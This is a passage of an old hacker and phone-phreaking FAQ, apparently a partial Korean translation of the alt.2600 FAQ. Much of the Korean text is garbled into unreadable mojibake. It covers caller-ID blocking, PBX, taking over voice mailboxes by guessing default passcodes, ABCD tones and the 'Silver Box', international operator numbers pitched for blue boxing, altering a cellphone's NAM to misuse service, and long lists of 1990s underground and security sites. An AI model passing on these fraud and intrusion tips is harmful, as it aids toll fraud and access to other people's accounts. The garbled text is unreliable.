c. Keeping logs of system user calls, or

d. Implementing a telemarketing data base

References

~~~~~~~~~~

For more information on Calling Number Delivery (CND), refer to

Bellcore publications TR-TSY-000030 and TR-TSY-000031.

To obtain Bellcore documents contact:

Bellcore Customer Service

60 New England Avenue, Room 1B252

Piscataway, NJ 08834-4196

(908) 699-5800


¹ß½ÅÀÚ ½Äº°ÀÚ´Â ¾î¶»°Ô ¸·À» ¼ö ÀÖ³ª?

Always test as much as possible before relying on any method of blocking

Caller-ID. Some of these methods work in some areas, but not in others.

Dial *67 before you dial the number. (141 in the United Kingdom)

Dial your local TelCo and have them add Caller-ID block to your line.

Dial the 0 Operator and have him or her place the call for you.

Dial the call using a pre-paid phone card.

Dial through Security Consultants at (900)PREVENT for U.S. calls

($1.99/minute) or (900)STONEWALL for international calls ($3.99/minute).

Dial from a pay phone. :-)

PBX ¶õ ¹«¾ùÀΰ¡?

PBX´Â Private Branch Exchange(±¸³» ±³È¯±â)ÀÇ ¾à¾îÀÌ´Ù. PBX´Â ¼ÒÇü ÀüÈ­ ±³È¯±â·Î ȸ»ç°¡ ±â°üÀÌ ¼ÒÀ¯ÇÑ´Ù. õ¸íÀÇ ÇÇ°í¿ëÀÎÀÌ Àִ ȸ»ç¸¦ °¡Á¤ÇÏÀÚ. PBX°¡ ¾øÀ» °æ¿ì, 1000°³ÀÇ ÀüÈ­¼±ÀÌ ÇÊ¿äÇÏ´Ù. ±×·¸Áö¸¸, 10%Á¤µµÀÇ »ç¶÷¸¸ÀÌ µ¿½Ã¿¡ ÀüÈ­¸¦ »ç¿ëÇÑ´Ù°í ÇÏÀÚ. ÇÇ°í¿ëÀÎÀÌ ÀüÈ­¸¦ ÇÒ·Á°í ÇÒ ¶§, ÀÌ¿ë°¡´ÉÇÑ ¿Ü¼±À» ã¾Æ¼­ ¿¬°áÇÏ´Â ÄÄÇ»ÅÍ°¡ ÀÖ´Ù¸é ¾î¶³±î? ÀÌ·± Á¾·ùÀÇ ½Ã½ºÅÛÀÌ ÀÖ´Ù¸é ÀüÈ­¼± ºñ¿ëÀÇ 10ºÐÀÇ 1¸¸ ºÎ´ãÇÏ¸é µÈ´Ù.

VMB¶õ ¹«¾ùÀΰ¡?

VMB´Â Voicie Mail Box(À½¼º ¸ÞÀÏ ¹Ú½º)ÀÇ ¾àÀÚÀÌ´Ù. VMB´Â ¼ö½Ê¸¸ÀÇ »ç¿ëÀÚ¿¡ ¼­ºñ½º¸¦ ÇÏ´Â ÀÚµ¿ ÀÀ´ä±âÀÌ´Ù. °¢ »ç¿ëÀÚ´Â ÀÚ½ÅÀÇ À½¼º ¸ÞÀÏ ¹Ú½º¸¦ ÀÌ ½Ã½ºÅÛ ³»¿¡ °¡Áö°Ô µÈ´Ù. °¢ ¸ÞÀÏ ¹Ú½º´Â ¹Ú½º ¹øÈ£¿Í ¾ÏÈ£(passcode)¸¦ °¡Áö°Ô µÈ´Ù.

¾ÏÈ£°¡ ¾øÀÌ VMB ½Ã½ºÅÛ¿¡ À½¼º ¸Þ½ÃÁö¸¦ ³²±æ ¼ö ÀÖ´Ù. ¾ÏÈ£°¡ ÀÖÀ¸¸é, ¸ÞÀϹڽº¸¦ Á¤¸®ÇÏ°í ¸Þ½ÃÁö¸¦ ÀÐÀ» ¼ö ÀÖ´Ù. ¶§¶§·Î, µðÆúÆ®·Î »ý¼ºµÈ ¸ÞÀϹڽº³ª ´õ ÀÌ»ó »ç¿ëµÇÁö ¾Ê´Â ¸ÞÀϹڽº°¡ ÀÖÀ» ¼ö ÀÖ´Ù. ÀÌ·¯ÇÑ ¸ÞÀϹڽº¸¦ ¾ÏÈ£¸¦ ÃßÃøÇÏ¿© Å»ÃëÇÒ ¼ö ÀÖ´Ù. ´ë°³ ¾ÏÈ£´Â 1234¿Í °°ÀÌ ÈçÇÑ °ÍÀÌ´Ù.

ABCD À½Àº ¹«¾ùÀ» À§ÇÑ °ÍÀΰ¡?

ABCD À½(tone)Àº DTFM À½¿¡ Ãß°¡ÇÑ °ÍÀÌ´Ù. ABCD À½Àº ¹Ì±¹ ±º»ç ÀüÈ­ ¸Á(AutoVon)¿¡¼­ ÀÌ¿ëµÇ°í, Automatic Call Distributor(ACD)¿¡¼­ ÀÌ¿ëµÇ°í, PBXÀÇ Á¦¾î ¸Þ½ÃÁö·Î, ¾Æ¸¶Ãß¾î ¹«¼±ÀÇ ÀÚµ¿ÆÐÄ¡(auto-patch)¿¡¼­ »ç¿ëµÈ´Ù.

The ABCD tones are simply additional DTFM tones that may be used in any

way the standard (0-9) tones are used. The ABCD tones are used in the

U.S. military telephone network (AutoVon), in some Automatic Call

Distributor (ACD) systems, for control messages in some PBX systems, and

in some amateur radio auto-patches.

In the AutoVon network, special telephones are equipped with ABCD keys.

The ABCD keys are defined as such:

A - Flash

B - Flash override priority

C - Priority communication

D - Priority override

Using a built-in maintenance mode of the Automatic Call Distributor

(ACD) systems once used by Directory Assistance operators, you could

connect two callers together.

The purpose of the Silver Box is to create the ABCD tones.

See also "What are the DTMF Frequencies?"


±¹Á¦ Á÷Á¢ ¹øÈ£(International Direct Number)¶õ ¹«¾ùÀΰ¡?

The numbers are used so that you may connect to an operator from a

foreign telephone network, without incurring long distance charges.

These numbers may be useful in blue boxing, as many countries still have

older switching equipment in use.

Australia (800)682-2878

Austria (800)624-0043

Belgium (800)472-0032

Belize (800)235-1154

Bermuda (800)232-2067

Brazil (800)344-1055

British VI (800)278-6585

Cayman (800)852-3653

Chile (800)552-0056

China (Shanghai) (800)532-4462

Costa Rica (800)252-5114

Denmark (800)762-0045

El Salvador (800)422-2425

Finland (800)232-0358

France (800)537-2623

Germany (800)292-0049

Greece (800)443-5527

Guam (800)367-4826

HK (800)992-2323

Hungary (800)352-9469

Indonesia (800)242-4757

Ireland (800)562-6262

Italy (800)543-7662

Japan (800)543-0051

Korea (800)822-8256

Macau (800)622-2821

Malaysia (800)772-7369

Netherlands (800)432-0031

Norway (800)292-0047

New Zealand (800)248-0064

Panama (800)872-6106

Portugal (800)822-2776

Philippines (800)336-7445

Singapore (800)822-6588

Spain (800)247-7246

Sweden (800)345-0046

Taiwan (800)626-0979

Thailand (800)342-0066

Turkey (800)828-2646

UK (800)445-5667

Uruguay (800)245-8411

Yugoslavia (800)367-9842 (Belgrade)

367-9841 (Zagreb)

USA from outside (800)874-4000 Ext. 107



¹«¼± ÀüÈ­

MTSO¶õ ¹«¾ùÀΰ¡?

MTSO¶õ Mobile Telephone Switching Office(À̵¿ ÀüÈ­ ±³È¯±¹)¸¦ ¸»ÇÑ´Ù. MTSO´Â °³°³ÀÇ ¼¿

ž(cell tower)¸¦ CO(Central Office; Áß¾Ó ±³È¯±¹)À¸·Î ¿¬°áÇÑ´Ù.

MTSO´Â À̵¿ ÀüÈ­ÀÇ »ó´ëÀûÀÎ ½ÅÈ£ Å©±â¸¦ °üÂûÇÏ¿© °¨µµ°¡ Á¦ÀÏ ÁÁÀº ¼¿Å¸¿ö¿¡¼­ ½ÅÈ£¸¦ ¹Þµµ·Ï ÇÑ´Ù.


NAMÀ̶õ ¹«¾ùÀΰ¡?

NAMÀº Number Assignment Module(¹øÈ£ÁöÁ¤ ¸ðµâ)ÀÇ ¾à¾îÀÌ´Ù. NAMÀº EPROMÀÌ°í MINÀÌÀ̳ª SIDH¿Í °°Àº Á¤º¸¸¦ ´ã°í ÀÖ´Ù. ÀÌ°÷¿¡ ÀúÀåµÈ Á¤º¸¸¦ º¯°æÇÏ¿© ¹«¼± ÀüÈ­¸¦ ¿À¿ëÇÒ ¼ö ÀÖ´Ù.


ESNÀ̶õ ¹«¾ùÀΰ¡?

ESNÀº Electronic Serial Number(ÀüÀÚ ½Ã¸®¾ó ¹øÈ£)ÀÇ ¾à¾îÀÌ´Ù. ÀÌ°ÍÀº ¹«¼±ÀüÈ­ÀÇ ½Ã¸®¾ó ¹øÈ£À» ¸»ÇÑ´Ù.


MINÀº ¹«¾ùÀΰ¡?

MINÀº Mobile Identification Number(À̵¿ ½Äº° ¹øÈ£)¸¦ ¸»ÇÑ´Ù. ÀÌ°ÍÀº À̵¿ ÀüÈ­ÀÇ ÀüÈ­¹øÈ£ÀÌ´Ù.


SCMÀ̶õ ¹«¾ùÀΰ¡?

SCMÀº Station Class Mark(±¹ µî±Þ Ç¥½Ã)ÀÇ ¾à¾îÀÌ´Ù. SCMÀº 3°¡ÁöÀÇ ´Ù¸¥ Á¤º¸¸¦ Æ÷ÇÔÇÏ´Â 4ºñÆ®ÀÇ ¼ýÀÚÀÌ´Ù. À̵¿ ÀüÈ­´Â ¼¿ Ÿ¿ö¿¡ ÀÌ Á¤º¸(¿Í ´Ù¸¥ Á¤º¸)¸¦ º¸³½´Ù. ºñÆ® 1Àº ±¸½Ä 666ä³ÎÀ» »ç¿ëÇÏ´Â À̵¿ÀüÈ­ÀÎÁö ¾Æ´Ï¸é ½Å½Ä 832 ä³ÎÀ» ÀÌ¿ëÇÏ´Â À̵¿ ÀüÈ­ÀÎÁö¸¦ ¼¿ Ÿ¿ö¿¡ ¾Ë·ÁÁØ´Ù. 832 ä³Î·Î È®ÀåÀº 1988³â¿¡ ÀÌ·ç¾îÁ³´Ù. ºñÆ® 2´Â À̵¿ÀüÈ­°¡ À̵¿¿ë ±â±â(mobild unit)ÀÎÁö ¾Æ´Ï¸é À½¼º ±¸µ¿Çü(voice activated cellular telephone) À̵¿ÀüÈ­ ÀÎÁö¸¦ ±¸ºÐÇÑ´Ù. ºñÆ® 3°ú 4´Â ¼¿ Ÿ¿ö¿¡ À̵¿ ÀüÈ­°¡ ¼Û½ÅÇÏ´Â Ãâ·ÂÀ» ¾Ë·ÁÁØ´Ù.


SIDH¶õ ¹«¾ùÀΰ¡?

SIDH¶õ System Identification for Home System(°¡Á¤¿ë ½Ã½ºÅÛ¿ë ½Ã½ºÅÛ ½Äº°)ÀÇ ¾à¾îÀÌ´Ù. ÀÌ

µ¿ ÀüÈ­¿¡ ÀÖ´Â SIDH´Â À̵¿ÀüÈ­ ½Ã½ºÅÛ¿¡ ¾î´À Áö¿ª¿¡¼­ À̵¿ÀüÈ­¸¦ ÀÌ¿ëÇÏ°í ÀÖ´ÂÁö ¾Ë·Á ÁØ´Ù. ÀÌ°ÍÀº ·Î¹Ö½Ã(°¡ÀÔÀÚÀÇ À̵¿ÀüÈ­¸¦ Á¦°øÇϴ ȸ»ç°¡ ¼­ºñ½º ÇÒ ¼ö ¾ø´Â ´Ù¸¥ ȸ»ç°¡ ¼­ºñ½º ÇÒ ¼ö ÀÖ´Â ¿µ¿ª¿¡ ÀÖÀ» ¶§)¿¡ ÀÌ¿ëµÈ´Ù.

¾î¶² Áö¿ª¿¡¼­µç µÎ °³ÀÇ SIDH °¡ ÀÖ´Ù. Çϳª´Â À¯¼± ¹Ý¼ÛÆÄ(carrier)¸¦ À§ÇÑ °ÍÀÌ°í, ´Ù¸¥ ÇϳªÀº ¹«¼± ¹Ý¼ÛÆĸ¦ À§ÇÑ °ÍÀÌ´Ù. °°Àº Áö¿ª¿¡¼­ ÇÕ¹ýÀûÀ¸·Î ÀÎÁ¤µÈ ¹«¼±ÀüÈ­ ¼­ºñ½º¸¦ Á¦°øÇÒ ¼ö ÀÖ´Â µÎ ȸ»ç°¡ ÀÖÀ» ¼ö ÀÖ´Ù. À¯¼± ¹Ý¼ÛÆÄ´Â Áö¿ª ÀüÈ­ ȸ»çÀÌ°í, ¹«¼± ¹Ý¼ÛÆÄ´Â ´Ù¸¥ ȸ»ç°¡ µÈ´Ù. À¯¼± SIDH ¹Ý¼ÛÆÄ´Â Ç×»ó ¦¼öÀÌ°í ÀÌ¿¡ ¹ÝÇØ ¹«¼± SIDH ¹Ý¼ÛÆĴ Ȧ¼öÀÌ´Ù. À¯¼º ¹Ý¼ÛÆÄ´Â Side-B ¹Ý¼ÛÆĶó°í ¾Ë·ÁÁ® ÀÖ´Ù. ±×¸®°í ¹«¼± ¹Ý¼ÛÆÄ´Â Side-A ¹Ý¼ÛÆĶó°í ¾Ë·ÁÁ® ÀÖ´Ù.



ÁøÇà/¹ÝÀü(forward/reverse) ä³ÎÀ̶õ?

Æ÷¿öµå ä³ÎÀ̶õ ¼¿ Ÿ¿ö°¡ À̵¿ÀüÈ­¿¡°Ô º¸³»´Â ÁÖÆļöÀÌ´Ù. ¸®¹ö½º(reverse) ä³ÎÀ̶õ À̵¿ ÀüÈ­°¡ ¼¿ Ÿ¿ö¿¡°Ô º¸³»´Â ÁÖÆļöÀÌ´Ù.

Æ÷¿öµå ä³ÎÀº ´ë°³ ¸®¹ö½º ä³Î¿¡ ºñÇØ 45Mhz ³ô´Ù. ¿¹¸¦ µé¾î ¸®¹ö½º ä³ÎÀÌ 824Mhz¶ó¸é Æ÷¿öµå ä³ÎÀº 869Mhz°¡ µÈ´Ù.


ÀÚ¿ø

ÇØÄ¿¿¡°Ô °ü½É°¡´Â ftp »çÀÌÆ®´Â ¹«¾ùÀΰ¡?

N 204.215.84.2 /pub/dmackey

2600.com (2600 Magazine)

aeneas.mit.edu (Kerberos)

alex.sp.cs.cmu.edu /links/security (Misc)

asylum.sf.ca.us (CyberWarriors of Xanadu)

N atari.archive.umich.edu /pub/atari/Utilities/pgp261st.zip (Atari PGP)

athena-dist.mit.edu /pub/ATHENA (Athena Project)

atlantis.utmb.edu (Anti-virus)

bellcore.com (Bellcore)

cert.org (CERT)

ciac.llnl.gov (CIAC)

clark.net /pub/jcase (H/P)

cnit.nsk.su /pub/security (Security)

coast.cs.purdue.edu /pub (Security/COAST)

coombs.anu.edu.au /pub/security (Security)

csrc.ncsl.nist.gov (NIST Security)

dartmouth.edu /pub/security (Security)

ds.internic.net (Internet documents)

N dutiws.twi.tudelft.nl /pub/novell

etext.archive.umich.edu /pub/Zines/PrivateLine (PrivateLine)

N fastlane.net /pub/nomad

ftp.3com.com /pub/Orange-Book (Orange Book)

ftp.acns.nwu.edu /pub (Mac Anti-virus)

ftp.acsu.buffalo.edu /pub/security & /pub/irc (Security & IRC)

ftp.alantec.com /pub/tcpr (Tcpr)

ftp.armory.com /pub/user/kmartind (H/P)

ftp.armory.com /pub/user/swallow (H/P)

ftp.auscert.org.au /pub (Australian CERT)

ftp.cerf.net /pub/software/unix/security (CERFnet)

ftp.cert.dfn.de (FIRST)

ftp.cisco.com (Cisco)

ftp.commerce.net /pub/standards/drafts/shttp.txt (Secure HyperText)

ftp.cs.colorado.edu

ftp.cs.ruu.nl /pub/SECURITY (Security & PGP)

ftp.cs.uwm.edu /pub/comp-privacy (Privacy Digest)

ftp.cs.vu.nl

ftp.cs.yale.edu

ftp.csi.forth.gr /pub/security

ftp.csl.sri.com /pub/nides (SRI)

ftp.csn.org /mpj (Cryptology)

ftp.csua.berkeley.edu /pub/cypherpunks (Crypto)

ftp.delmarva.com

N ftp.demon.co.uk /pub/misc/0800num.txt (0800/0500 numbers)

ftp.denet.dk /pub/security/tools/satan

ftp.digex.net /pub/access/dunk

ftp.dsi.unimi.it /pub/security/crypt (Crypto)

ftp.dstc.edu.au /pub/security/satan

ftp.ee.lbl.gov

ftp.eff.org /pub/Publications/CuD (EFF)

ftp.elelab.nsc.co.jp /pub/security (Security)

ftp.etext.org (Etext)

ftp.fc.net /pub/deadkat (TNO)

ftp.fc.net /pub/defcon (DefCon)

ftp.fc.net /pub/defcon/BBEEP (BlueBeep)

ftp.fc.net /pub/phrack (Phrack)

ftp.foobar.com

ftp.funet.fi /pub/doc/CuD

ftp.gate.net /pub/users/laura

ftp.gate.net /pub/users/wakko

ftp.giga.or.at /pub/hacker/ (H/P)

ftp.greatcircle.com /pub/firewalls (Firewalls)

ftp.IEunet.ie /pub/security (Security)

ftp.ifi.uio.no

ftp.indirect.com /www/evildawg/public_access/C&N/

ftp.info.fundp.ac.be

ftp.informatik.uni-hamburg.de

ftp.informatik.uni-kiel.de /pub/sources/security

ftp.inoc.dl.nec.com /pub/security (Security)

ftp.isi.edu

ftp.lava.net /users/oracle/ (H/P

N ftp.leo.org/pub/com/os/os2/crypt

ftp.lerc.nasa.gov /security

ftp.llnl.gov /pub (CIAC)

ftp.luth.se /pub/unix/security

ftp.lysator.liu.se

ftp.mcs.anl.gov /pub/security

ftp.microserve.net /ppp-pop/strata/mac (Mac)

ftp.near.net /security/archives/phrack (Zines)

ftp.nec.com

ftp.net.ohio-state.edu /pub/security/satan

ftp.netcom.com /pub/br/bradleym (Virii)

ftp.netcom.com /pub/da/daemon9 (H/P)

ftp.netcom.com /pub/fi/filbert

N ftp.netcom.com /pub/gr/grady

N ftp.netcom.com /pub/il/illusion (H/P+Virus)

N ftp.netcom.com /pub/je/jericho (H/P)

ftp.netcom.com /pub/le/lewiz (Social Engineering)

N ftp.netcom.com /pub/ty/tym (TYM)

ftp.netcom.com /pub/va/vandal (DnA)

ftp.netcom.com /pub/wt/wtech/

N ftp.netcom.com /pub/zi/zigweed (H/P)

ftp.netcom.com /pub/zz/zzyzx (H/P)

ftp.netsys.com

ftp.ocs.mq.edu.au /PC/Crypt (Cryptology)

ftp.ox.ac.uk /pub/comp/security

ftp.ox.ac.uk /pub/crypto (Cryptology)

ftp.ox.ac.uk /pub/wordlists (Wordlists)

ftp.paranoia.com /pub/toneloc/tl110.zip (ToneLoc)

N ftp.pipex.net /pub/areacode (uk areacodes)

ftp.pop.psu.edu

ftp.primenet.com /users/i/insphrk

ftp.primenet.com /users/k/kludge (H/P)

ftp.primenet.com /users/s/scuzzy (Copy Protection)

ftp.primus.com /pub/security (Security)

ftp.psy.uq.oz.au

ftp.psy.uq.oz.au /pub/DES

ftp.rahul.net /pub/conquest/DeadelviS/script/vms/

ftp.rahul.net /pub/lps (Home of the FAQ)

ftp.sert.edu.au

ftp.sgi.com

N ftp.smartlink.net /pub/users/mikes/haq

ftp.std.com /archives/alt.locksmithing (Locksmithing)

ftp.std.com /obi/Mischief/ (MIT Guide to Locks)

ftp.std.com /obi/Phracks (Zines)

ftp.sunet.se /pub/network/monitoring (Ethernet sniffers)

ftp.sura.net /pub/security (SURAnet)

ftp.technet.sg

U ftp.technion.ac.il

ftp.tis.com /pub (TIS)

ftp.tisl.ukans.edu /pub/security

ftp.uni-koeln.de (Wordlists)

ftp.uspto.gov

ftp.uu.net /doc/literary/obi/Phracks (Zines)

ftp.uwp.edu /pub/dos/romulus/cracks (Copy Protection)

ftp.vis.colostate.edu

ftp.vix.com

ftp.vortex.com

ftp.warwick.ac.uk /pub/cud (Zines)

ftp.wi.leidenuniv.nl /pub/security

ftp.win.tue.nl /pub/security (Security)

ftp.winternet.com /users/nitehwk (H/P)

ftp.wustl.edu /doc/EFF (EFF)

ftp.zoom.com

ftp.zrz.tu-berlin.de/pub/security/virus/texts/crypto (Cryptology)

garbo.uwasa.fi /pc/crypt (Cryptology)

N gemini.tuc.noao.edu /pub/grandi

gti.net /pub/safetynet

gumby.dsd.trw.com

hack-this.pc.cc.cmu.edu (Down for Summer)

heffer.lab.csuchico.edu (Third Stone From The Sun)

hplyot.obspm.fr

info.mcs.anl.gov

N infonexus.com /pub (The Guild)

jerico.usc.edu

l0pht.com (The L0pht)

lcs.mit.edu /telecom-archives (Telecom archives)

lod.com (Legion of Doom)

mac.archive.umich.edu

mary.iia.org /pub/users/patriot (Misc)

monet.ccs.itd.umich.edu

N net-dist.mit.edu /pub/pgp

net.tamu.edu /pub/security/TAMU (Security)

net23.com /pub (Max Headroom)

nic.ddn.mil /scc (DDN Security)

nic.sura.net /pub/security

oak.oakland.edu /pub/hamradio (Ham Radio)

oak.oakland.edu /SimTel/msdos/sound (DTMF decoders)

oak.oakland.edu /SimTel/msdos/sysutil (BIOS attackers)

parcftp.xerox.com

prism.nmt.edu /pub/misc (Terrorist Handbook)

pyrite.rutgers.edu /pub/security (Security)

relay.cs.toronto.edu /doc/telecom-archives (Telecom)

rena.dit.co.jp /pub/security (Security)

research.att.com /dist/internet_security (AT&T)

ripem.msu.edu /pub/crypt (Ripem)

N rmii.com /pub2/KRaD (KRaD Magazine)

rtfm.mit.edu (Etext)

rtfm.mit.edu /pub/usenet-by-group (Usenet FAQ's)

scss3.cl.msu.edu /pub/crypt (Cryptology)

N sgigate.sgi.com /Security (SGI Security)

sierra.stanford.edu

spy.org (CSC)

N src.doc.ic.ac.uk /usenet/uk.telecom (uk.telecom archives)

suburbia.apana.org.au /pub/unix/security (Security)

sunsolve1.sun.com

theta.iis.u-tokyo.ac.jp /pub1/security (Security)

titania.mathematik.uni-ulm.de /pub/security (Security)

toxicwaste.mit.edu /pub/rsa129/README (Breaking RSA)

ugle.unit.no

unipc20.unimed.sintef.no

vic.cc.purdue.edu

vixen.cso.uiuc.edu /security

N web.mit.edu

whacked.l0pht.com (Mac + H/P)

wimsey.bc.ca /pub/crypto (Cryptology)

N wuarchive.wustl.edu /pub/aminet/util/crypt



ÇØÄ¿¿¡°Ô °ü½É°¡´Â fsp »çÀÌÆ®´Â ¹«¾ùÀΰ¡?

None at this time.


ÇØÄ¿¿¡°Ô °ü½É°¡´Â ´º½º±×·ìÀº ¹«¾ùÀΰ¡?

alt.2600 Do it 'til it hertz

N alt.2600hz

N alt.2600.codez

N alt.2600.debate

N alt.2600.moderated

alt.cellular

alt.cellular-phone-tech Brilliant telephony mind blow netnews naming

alt.comp.virus An unmoderated forum for discussing viruses

alt.comp.virus.source.code

alt.cracks Heavy toolbelt wearers of the world, unite

alt.cyberpunk High-tech low-life.

alt.cyberspace Cyberspace and how it should work.

alt.dcom.telecom Discussion of telecommunications technology

alt.engr.explosives [no description available]

alt.fan.kevin-mitnick

alt.fan.lewiz Lewis De Payne fan club

alt.hackers Descriptions of projects currently under development

alt.hackintosh

alt.locksmithing You locked your keys in *where*?

alt.hackers.malicious The really bad guys - don't take candy from them

alt.ph.uk United Kingdom version of alt.2600

alt.privacy.anon-server Tech. & policy matters of anonymous contact servers

alt.radio.pirate Hide the gear, here comes the magic station-wagons.

alt.radio.scanner Discussion of scanning radio receivers.

alt.satellite.tv.europe All about European satellite tv

alt.security Security issues on computer systems

alt.security.index Pointers to good stuff in misc.security (Moderated)

alt.security.keydist Exchange of keys for public key encryption systems

alt.security.pgp The Pretty Good Privacy package

alt.security.ripem A secure email system illegal to export from the US

comp.dcom.cellular [no description available]

comp.dcom.telecom Telecommunications digest (Moderated)

comp.dcom.telecom.tech [no description available]

comp.org.cpsr.announce Computer Professionals for Social Responsibility

comp.org.cpsr.talk Issues of computing and social responsibility

comp.org.eff.news News from the Electronic Frontiers Foundation

comp.org.eff.talk Discussion of EFF goals, strategies, etc.

N comp.os.netware.security Netware Security issues

comp.protocols.kerberos The Kerberos authentification server

comp.protocols.tcp-ip TCP and IP network protocols

comp.risks Risks to the public from computers & users

comp.security.announce Announcements from the CERT about security

N comp.security.firewalls Anything pertaining to network firewall security

comp.security.misc Security issues of computers and networks

comp.security.unix Discussion of Unix security

comp.virus Computer viruses & security (Moderated)

de.org.ccc Mitteilungen des CCC e.V.

misc.security Security in general, not just computers (Moderated)

rec.pyrotechnics Fireworks, rocketry, safety, & other topics

rec.radio.scanner [no description available]

rec.video.cable-tv Technical and regulatory issues of cable television

sci.crypt Different methods of data en/decryption




ÇØ Ä¿¿¡°Ô °ü½É°¡´Â telnet »çÀÌÆ®´Â ¹«¾ùÀΰ¡?

anarchy-online.com

ntiabbs.ntia.doc.gov (NTIA)

l0pht.com (The L0pht)

sfpg.gcomm.com (The Floating Pancreas)

telnet lust.isca.uiowa.edu 2600 (underground bbs) (temporarily down)

pcspm2.dar.csiro.au (Virtual Doughnutland BBS)

prince.carleton.ca 31337 (Twilight of The Idols)

N spy.org (Computer Systems Consulting)





ÇØÄ¿¿¡°Ô °ü½É°¡´Â gopher »çÀÌÆ®´Â ¹«¾ùÀΰ¡?

ba.com (Bell Atlantic)

N cell-relay.indiana.edu (Cell Relay Retreat)

csrc.ncsl.nist.gov (NIST Security Gopher)

gopher.acm.org (SIGSAC (Security, Audit & Control))

gopher.cpsr.org (Computer Professionals for Social Responsibility)

gopher.eff.org (Electonic Frontier Foundation)

N gopher.panix.com (Panix)

gw.PacBell.com (Pacific Bell)

iitf.doc.gov (NITA -- IITF)

N info.itu.ch (International Telegraph Union)

ncjrs.aspensys.com (National Criminal Justice Reference Service)

oss.net (Open Source Solutions)

spy.org (Computer Systems Consulting)

wiretap.spies.com (Wiretap)






ÇØÄ¿¿¡°Ô °ü½É°¡´Â WWW »çÀÌÆ®´Â ¹«¾ùÀΰ¡?

N 134.220.198.66:8000 (Peter Strangman's)

U alcuin.plymouth.edu/~jay/underground.html (Underground Links)

U all.net (American Society for Industrial Security anagement)

alumni.caltech.edu/~dank/isdn/ (ISDN)

N asearch.mccmedia.com/www-security.html (WWW-security info)

aset.rsoc.rockwell.com (NASA/MOD AIS Security)

aset.rsoc.rockwell.com/exhibit.html (Tech. for Info Sec)

att.net/dir800 (800 directory)

ausg.dartmouth.edu/security.html (UNIX Security Topics)

N bianca.com/bump/ua (Unauthorized Access Home Page)

N ccnga.uwaterloo.ca/~jscouria/gsm.html (GSM Specification)

N cell-relay.indiana.edu/cell-relay (Cell Relay Retreat)

N ciac.llnl.gov (CIAC Web Site)

N community.net/community/all/home/solano/sbaldwin

N cs.purdue.edu/homes/spaf/coast.html (The COAST Project and Laboratory)

N csbh.mhv.net/dcypher/home.html (Dcypher's Home Page)

N csrc.ncsl.nist.gov (NIST)

N cwix.com/cwplc (Cable and Wireless)

daemon.apana.org.au/~longi/

N dcpu1.cs.york.ac.uk:6666/fisher/telecom (Embryonic Telephone History Page)

N dfw.net/~aleph1 (The Uebercracker's Security Web)

N draco.centerline.com:8080/~franl/crypto.html (Crypto)

N draco.centerline.com:8080/~franl/privacy/bacard-review.html

N enigma.pc.cc.cmu.edu/~caffeine/home.html (Caffeine's Home Page)

N everest.cs.ucdavis.edu/Security.html (UCDavis.edu Security Page)

N everest.cs.ucdavis.edu/slides/slides.html (Security Lab Slides)

ezinfo.ethz.ch/ETH/D-REOK/fsk/fsk_homepage.html (CSSCR)

N fastlane.net/homepages/thegnome (Simple Nomad)

N first.org (FIRST)

N freeside.com/phrack.html (Phrack Magazine)

N frosted.mhv.net/keytrap.html

N ftp.arpa.mil (ARPA home page)

ftp.tamu.edu/~abr8030/security.html (Security)

N grove.ufl.edu/~bytor (Bytor home page)

N hightop.nrl.navy.mil/potpourri.html (MOD Security)

N hightop.nrl.navy.mil/rainbow.html (MOD Rainbow Books)

ice-www.larc.nasa.gov/ICE/papers/hacker-crackdown.html (Sterling)

ice-www.larc.nasa.gov/ICE/papers/nis-requirements.html (ICE NIS)

info.bellcore.com/BETSI/betsi.html (Betsi)

N info.gte.com (GTE Labrotories)

N info.mcc.ac.uk/Orange (Orange)

infosec.nosc.mil/infosec.html (SPAWAR INFOSEC)

N infosec.nosc.mil/navcirt.html (NAVCIRT)

N iss.net/iss (Internet Security Systems)

N jumper.mcc.ac.uk/~afs/telecom (UK Telecom Pricing Information)

l0pht.com (The l0pht)

l0pht.com/~oblivion/IIRG.html (Phantasy Magazine)

N l0pht.com/~spacerog/index.html (Whacked Mac Archives)

N lcs.mit.edu/telecom-archives/areacodes/guide (North American Area Codes)

N lcs.mit.edu/telecom-archives/npa.800 (1-800 Info)

N lcs.mit.edu/telecom-archives/npa.900 (1-900 Info)

N lod.com (Legion of Doom)

N lod.com/~gatsby (Gatsby)

N lod.com/~tabas (Mark Tabas -- LOD)

N lod.com/~vampire/emptime7 (Empire Times)

N magicnet.net/xtabi/netscape/links/cypher.html (Cryptology)

N mars.superlink.net/user/esquire (Red box info)

matrix.resnet.upenn.edu/rourke (FakeMail FAQ)

mindlink.jolt.com (The Secrets of LockPicking)

N mindlink.net/A7657 (Stephen H Kawamoto's Home Page)

mls.saic.com (SAIC MLS)

N mnementh.cs.adfa.oz.au/Lawrie_Brown.html (Lawrie Brown's crypto bibliography)

motserv.indirect.com (Motorola)

U naic.nasa.gov/fbi (FBI information)

U nasirc.nasa.gov/NASIRC_home.html (NASIRC)

obscura.com/~loki/ (Cryptology)

ophie.hughes.american.edu/~ophie (Ophie)

oregano.sl.pitt.edu/index.htm

N outpost.callnet.com/outpost.html

pages.ripco.com:8080/~glr/glr.html (Full Disclosure)

U peg.pegasus.oz.au (EFF Australia)

N quetel.qc.ca/qt0000ag.htm (Quebec-Telephone)

N resudox.net/bio/mainpage.html (BioHazard's Home Page)

N ripco.com:8080/~glr/glr.html (Full Disclosure)

N rschp2.anu.edu.au:8080/crypt.html

N scitsc.wlv.ac.uk/~cs6171/hack (UNIX Security)

U seclab.cs.ucdavis.edu/Security.html (Security)

U seclab.cs.ucdavis.edu/slides/slides.html (Security Lab Slides)

N sfpg.gcomm.com/mitnick/mitnick.htm (3wP Kevin Mitnick WWW HomePage)

N smurfland.cit.buffalo.edu/NetMan/index.html (Network anagement)

N sunsite.unc.edu/sun/inform/sun-info.html (Sun Microsystems Sponsor Page)

N support.mayfield.hp.com (Hewlett Packard SupportLine Services)

N tamsun.tamu.edu/~clm3840/hacking.html (Hacking/Phreaking)

the-tech.mit.edu (LaMacchia case info)

N town.hall.org/university/security/stoll/cliff.html (Cliff Stoll)

turnpike.net/emporium/C/celestial/celest.html (Detective Databases 1995)

ucs.orst.edu:8001/mintro.html (Micro Power Broadcasting)

underground.org (Eubercrackers)

unixg.ubc.ca:780/~jyee/ (Cell)

w3.gti.net/safety

N web.mit.edu/network/pgp.html (Getting PGP)

N web.nec.com/products/necam/mrd/cellphones/index.html(NEC)

U weber.u.washington.edu/~phantom/cpunk/index.html (Cryptology)

N wildsau.idv.uni-linz.ac.at/~klon/underground/underground.html (Klon's Underground Links)

wintermute.itd.nrl.navy.mil/5544.html (Network Security)

